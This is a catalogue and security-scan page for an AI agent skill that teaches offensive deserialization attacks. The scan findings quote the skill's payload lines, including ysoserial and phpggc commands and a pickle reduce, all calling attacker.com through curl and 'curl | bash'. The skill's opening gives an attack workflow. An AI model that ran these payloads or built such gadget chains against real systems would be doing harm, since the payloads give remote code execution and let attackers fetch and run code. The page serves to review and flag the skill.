Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add Miosa-osa/OSA --skill offensive-deserializationgit clone --depth 1 https://github.com/Miosa-osa/OSAWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-deserialization)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-deserialization"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-deserialization/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-deserialization"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-deserialization.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00189 | $0.06044 |
| Opus 5.5 | $0.00076 | $0.02418 |
| Sonnet 5.5 | $0.00038 | $0.01209 |
| Haiku 4.5 | $0.00019 | $0.00604 |
Grade E, and why
offensive-deserialization scanned grade E with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b Encoded or obfuscated payloadhighSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
import marshal # Code object injection via marshal.loads() Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('curl http://attacker.com/callback',)) This is a copy
92% identical to offensive-deserialization — 40 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 641 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Offensive Deserialization
Deserialization vulnerabilities arise when an application reconstructs objects from serialized byte streams without validating the type, integrity, or origin of the data. Object reconstruction triggers constructors, finalizers, and language-specific magic methods, so an attacker who controls the serialized input often achieves remote code execution before any application-level validation runs.
Quick Workflow
- Enumerate every entry point accepting opaque binary or encoded data -- cookies, HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars, gRPC fields, JMX/RMI endpoints.
- Fingerprint the serialization format via magic bytes, content-type headers, and error behavior (see Recognition Signatures).
- Determine the server-side language and framework version from error pages, HTTP headers, or source code.
- Select candidate gadget chains matching the target classpath or installed packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
- Deliver through the identified entry point. Start with DNS-only or sleep-based proof to confirm execution without destructive side effects.
- Escalate from proof-of-concept to the engagement objective with authorization.
- Document the full chain: entry point, format, gadget chain, library versions, proof.
Recognition Signatures
| Format | Signature | Notes |
|---|---|---|
| Java ObjectInputStream | Hex ac ed 00 05, Base64 rO0AB |
Cookies, POST bodies, JMX/RMI streams |
| PHP serialize | O:<len>:"ClassName": or a:<count>:{ |
Frequently Base64-wrapped in cookies |
| .NET BinaryFormatter | Base64 AAEAAAD///// |
ViewState, remoting, session state |
| Python pickle | Opcodes \x80\x04\x95 (v4+), older (dp0 text |
Redis caches, Celery tasks, ML pipelines |
| Ruby Marshal | \x04\x08 leading bytes |
Session cookies in older Rails apps |
| YAML (any lang) | --- !ruby/object: or !!python/object/apply: |
Tag-based instantiation |
| Java XMLDecoder | <?xml with <java> or <object class= |
Legacy Java admin panels |
| .NET Json.NET | "$type": key in JSON |
TypeNameHandling != None |
| Java Jackson | ["class.name", { JSON array wrapper |
enableDefaultTyping / polymorphic handling |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 641 lines · 189 tokens per session scan E c8fe45bded92
offensive-deserialization is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 189 tokens to every session and 6,044 once invoked, about $0.0008 per session on Opus 5.5. A static security scan graded it E with 4 findings (downloads and executes remote code, encoded or obfuscated payload, makes network calls). It is 92% identical to offensive-deserialization, differing in 40 lines, and is treated as a copy.
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